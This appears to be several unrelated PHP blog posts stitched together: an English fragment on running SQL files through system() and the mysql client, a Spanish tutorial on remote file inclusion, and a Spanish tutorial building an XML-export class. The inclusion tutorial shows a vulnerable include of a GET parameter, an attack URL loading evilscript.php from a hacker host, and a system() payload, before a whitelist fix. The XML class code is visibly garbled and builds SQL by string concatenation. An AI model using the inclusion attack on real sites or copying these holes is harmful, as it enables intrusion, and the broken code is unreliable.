And then started fun: mysql_query or mysqli_query php functions do not support multiple – statements (and triggers often use several because delimiters and some code is executed). What would I do?

Well, perhaps there are smarter solutions, but I chose to write first a temporary file, and use it then as source for MySQL. Using ‘SOURCE file.sql’ was tricky, because SOURCE is an instruction available on the MySQL client, not the server, so PHP cannot execute it. ‘LOAD DATA INFILE’ was suggested in some forum’s solutions but this is limited to only data – and I wanted advanced SQL statements.

Finally, the function ‘system’ on PHP core gave me the solution: if I can call server’s system, I can just run mysql client telling it where the source SQL file is. This way ‘mysql -u user –password=pass < file.sql’ is actually mysql client who is doing the job for me.

It is running, and working

Veamos un ejemplo:

1
2
3
4
5
6
7
8

<a href="?page=home.php">Home</a> | <a href="?page=contact.php">Contact</a>
<?php
  $page = $_GET['page'];
  if ($page)
    include $page;
  else
    echo "404, page not found!";
?>

En el ejemplo anterior, pasamos como variable ‘$page’ el nombre del archivo (php en este caso, podrí­a ser html u otra extensión), que será cargado en la lí­nea correspondiente mediante ‘include()’. La ausencia de filtrado de esta variable puede dejar nuestra aplicación a merced de cualquier intruso poco experimentado, veamos por qué.

1. El sistema es fácilmente reconocible. La cadena ‘?page=paginaXXX.php’ sugiere que en cada sección se está cargando un archivo externo, y que por tanto debe de haber un include cerca.
2. Si la variable no está filtrada, podemos pasarle código que haga lo que nosotros queramos. Podemos indicarle que cargue un archivo ubicado en cualquier servidor, con código que realice desde llamadas a bases de datos hasta (lo más común), envíos masivos de emails (spam). Aquí­ el problema es bastante grave porque cuando estos abusos se detectan suele ser una vez se han cometido, y eso casi siempre es tarde

Supongamos un ejemplo: copiemos el código anterior en un archivo llamado ‘hackme.php’, pongámoslo en un servidor web, y llamémoslo pasándole este valor a la variable ‘$page’: http://www.tusitio.com/hackme.php?page=http://www.hacker.com/evilscript.php

Esto leerá el archivo evilscript.php del servidor hacker.com y ¡lo ejecutará en tu máquina! Si el archivo evilscript.php fuera por ejemplo:

1
2
3

<?php
  system ('uname -a');
?>

El intruso estaría obteniendo el sistema operativo, lo que podría darle información acerca de posibles vulnerabilidades. Pero también podría, por ejemplo, leer cualquier archivo ‘config.php’ y mostrar su contenido en pantalla ofreciendo así datos importantes sobre la aplicación, etc.

Es como dejar un Ferrari aparcado con las llaves puestas.

Para solucionar este problema de ejecución de código malicioso en nuestra aplicación, deberí­amos sustituir la lí­nea

1

include $page;

por un filtro apropiado para nuestra aplicación:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<a href="?page=home.php">Home</a> | <a href="?page=contact.php">Contact</a>
<?php
  $page = $_GET['page'];
  switch ($page) 
  {
    case "":
    case "home.php":
      include "home.php";
      break;
    case "contact.php":
      include "contact.php";
      break;
    default:
      include "404.php";
      break;
  }
?>

De este modo, en nuestro sistema se ejecutará única y exclusivamente el código que se debe ejecutar. Al menos, en cuanto a lo que la función include() se refiere.

Notice: Article only available in Spanish!

Ahora que ya he explicado cómo crear una clase en php para leer datos de una base de datos, y que también conocemos las bases del lenguaje XML, vamos a crear una clase para formatear estos datos en XML. De este modo, podremos compartir datos entre distintos tipos de aplicaciones, sin necesidad de tener acceso al servidor de bases de datos más que en una de ellas: la pasarela de datos.

Una vez formateamos en correcto XML, podemos ofrecer un documento como XML puro para aplicaciones externas que quieran utilizar nuestros datos, o un RSS estándar para que nuestros visitantes sincronicen las noticias del sitio; podemos también ofrecer un servicio SOAP para aplicaciones que no sólo precisen nuestros datos sino también funciones y servicios avanzados; o podemos simplemente adjuntar una hoja de estilos xls y mostrar nuestro documento en un navegador, como lo haríamos con xhtml y css. Bastante útil, ¿no?

Vamos allá: para la clase necesitaremos algunas propiedades que permitan almacenar el contenido, así­ como un constructor, un método para cargar datos (en arrays multidimensionales), y otro método para recuperarlos (como arrays). También necesitaremos un método toString(), o toXML más propiamente hablando para formatear directamente los datos a XML. Comencemos con el prototipo de la clase:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

class xml 
{
  //
  var $content;
  var $xml_version;
  var $xml_encoding;
  var $data_label;
  var $item_label;
  //
 
  /** 
   * constructor; loads some default values
   */
  public function xml() {}
 
  /** 
   * Gets data to show in a two dimmensional array and stores it internally
   */
  function setContent($data = NULL) {}
 
  /** 
   * Returns content from a matrix
   * @return the content
   */
  function getContent() {}
 
  /** 
   * Shows as a text string values in XML format
   * @return XML formatted data
   */
  function toString() {}
 
  /** 
   * Returns XML header
   * @return XML header
   */
  function header(){}
 
}

Para la matriz de datos, esperamos un array asociativo, donde cada elemento $content[] tenga el valor asociado al índice, correspondiente al nombre del campo de la tabla. Por ejemplo, en nuestra tabla ‘superheroes’ con los campos ‘id’, ‘name’, ‘special_powers’, la matriz que la clase espera obtener es del tipo:

1
2
3
4
5
6
7

$content[0]['id']             = "101";
$content[0]['name']            = "spider man";
$content[0]['special_powers'] = "crawling in the walls";
$content[1]['id']             = "102";
$content[1]['name']           = "mosquito man";
$content[1]['special_powers'] = "run away from spider man";
....

y el formato XMLque esperamos de salida es

1
2
3
4
5

<data>
  <item id="101" name="spider man" special_powers="crawling in the walls"></item>
  <item id="102" name="mosquito man" special_powers="run away from spider man"></item>
   ...
</data>

podemos elegir varios formatos para el XMLde salida, en concreto usaremos el anterior, sin embargo podríamos haber utilizado un formato anidado del tipo

1
2
3
4
5
6
7
8
9
10
11
12

<data>
  <item>
    <id>101</id>
    <name>spider man</name>
    <special_powers>crawling in the walls</special_powers>
  </item>
  <item>
    <id>102</id>
    <name>mosquito man</name>
    <special_powers>run away from spider man</special_powers>
  </item>
</data>

Elijo el primer formato por sencillez, y porque siendo yo quien voy a leer de él en otras aplicaciones, no tengo que preocuparme por la compatibilidad. Si vamos a integrar nuestra pasarela XML con otros servicios o aplicaciones web, quizá nos interese saber primero qué formato espera encontrar dicha aplicación para ofrecerle datos que le resulten legibles.

Por otra parte, si se usa la clase dbhandler para proporcionar los datos en arrays a esta clase, debe modificarse la función readTable para que quede así­

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

/**
 * retrieves data from the selected fields of a certain table
 * @param table to read from
 * @param fields to be retrieved
 */
function readTable($table,$fields)
{
  //variables
  $resultsArray = array();
 
  //fields
  $fieldsList = "";
  foreach($fields as $key=>$value)
  {
    $fieldsList .= $value . ",";
  }
 
  //remove last comma
  $fieldsList = substr($fieldsList,0,strlen($fieldsList)-1);
 
  //consulta
  $this->query = "SELECT " . $fieldsList . " FROM " . $table;
  $this->resultset = @mysql_query($this->query,$this->identifier);
  $this->results = @mysql_num_rows($this->resultset);
 
  if ( $this->results > 0)
  {
    $i = 0;
    while ($result = mysql_fetch_array($this->resultset))
    {
      foreach($fields as $key=>$index)
      {
        $resultsArray[$i][$index] = $result[$index] ; //return results in a matrix
        // each result has an index called as the column name in their table
      }
      $i++;
    }
  }
 
  return($resultsArray);
 
}

Sólo queda rellenar el prototipo con el contenido de las funciones:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

/* 
 * class to format data as XML
 * @author Jorge Albaladejo Pomares [correo@jorgealbaladejo.com]
 * @license Creative Commons License http://creativecommons.org/licenses/by-sa/3.0/
 */
//
class xml 
{
  //
  var $content;
  var $xml_version;
  var $xml_encoding;
  var $data_label;
  var $item_label;
  //
 
  /** 
   * constructor; loads some default data
   */
  public function xml() 
  {
    $this->content       = array();
    $this->xml_version   = "1.0";
    $this->xml_encoding  = "ISO-8859-1";
    $this->data_label    = "datos";
    $this->item_label    = "item";
  }
 
  /** 
   * Gets data to show in a two dimmensional array
   * and stores it internally
   */
  function setContent($data = NULL) 
  {
    if ($data != NULL) 
    {
      $this->content = $data;
    }
  }
 
  /** 
   * Gets data to show in a two dimensional array
   * and stores it internally
   */
  function getContent() 
  {
    return ($this->content);
  }
 
  /** 
   * Shows as a text string values in XML format
   * @return XML formatted data
   */
  function toString() 
  {
    if ($this->content != NULL) 
    {
      $return  = "";
      $return .= $this->header();
      $return .= "<".$this->data_label.">\n";
 
      //for each element from the matrix, there is a nested matrix with data from mysql.
      foreach ($this->content as $result)
      {
        $return .= "\t<".$this->item_label;
        foreach( $result as $key => $value ) 
        {
          $return .= " " . $key . "=\"" . $value ."\"";
        }
        $return .= "/>\n";
      }
      $return .= "<!--".$this-->data_label.">";
    }
 
    return ($return);
  }
 
  /** 
   * Returns XML header
   * @return XML header
   */
  function header()
  {
    return ("xml_version."\" encoding=\"".$this->xml_encoding."\"?>\n");
  }

Y un script que utilice estas dos clases (dbhandler y xml) para mostrar datos de una base de datos nos quedaría tan sencillo como ésto:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

/**
 * script connect to a database and read tables using XML
 * @author Jorge Albaladejo Pomares [correo@jorgealbaladejo.com]
 * @license Creative Commons License http://creativecommons.org/licenses/by-sa/3.0/
 */
 
//main classes
include('class.dbhandler.php');
include('class.xml.php');
 
//main script
$db     = new dbhandler('john_smith','h01y_GRail','pastafarian_food','localhost');
$fields   = array('id', 'name', 'special_powers');
$results = $db->readTable('superheroes',$fields);
 
//got data, show them as XML
$xml = new xml();
$xml->setContent($results);
header('Content-Type: text/xml');
echo $xml->toString();
$db->disconnect();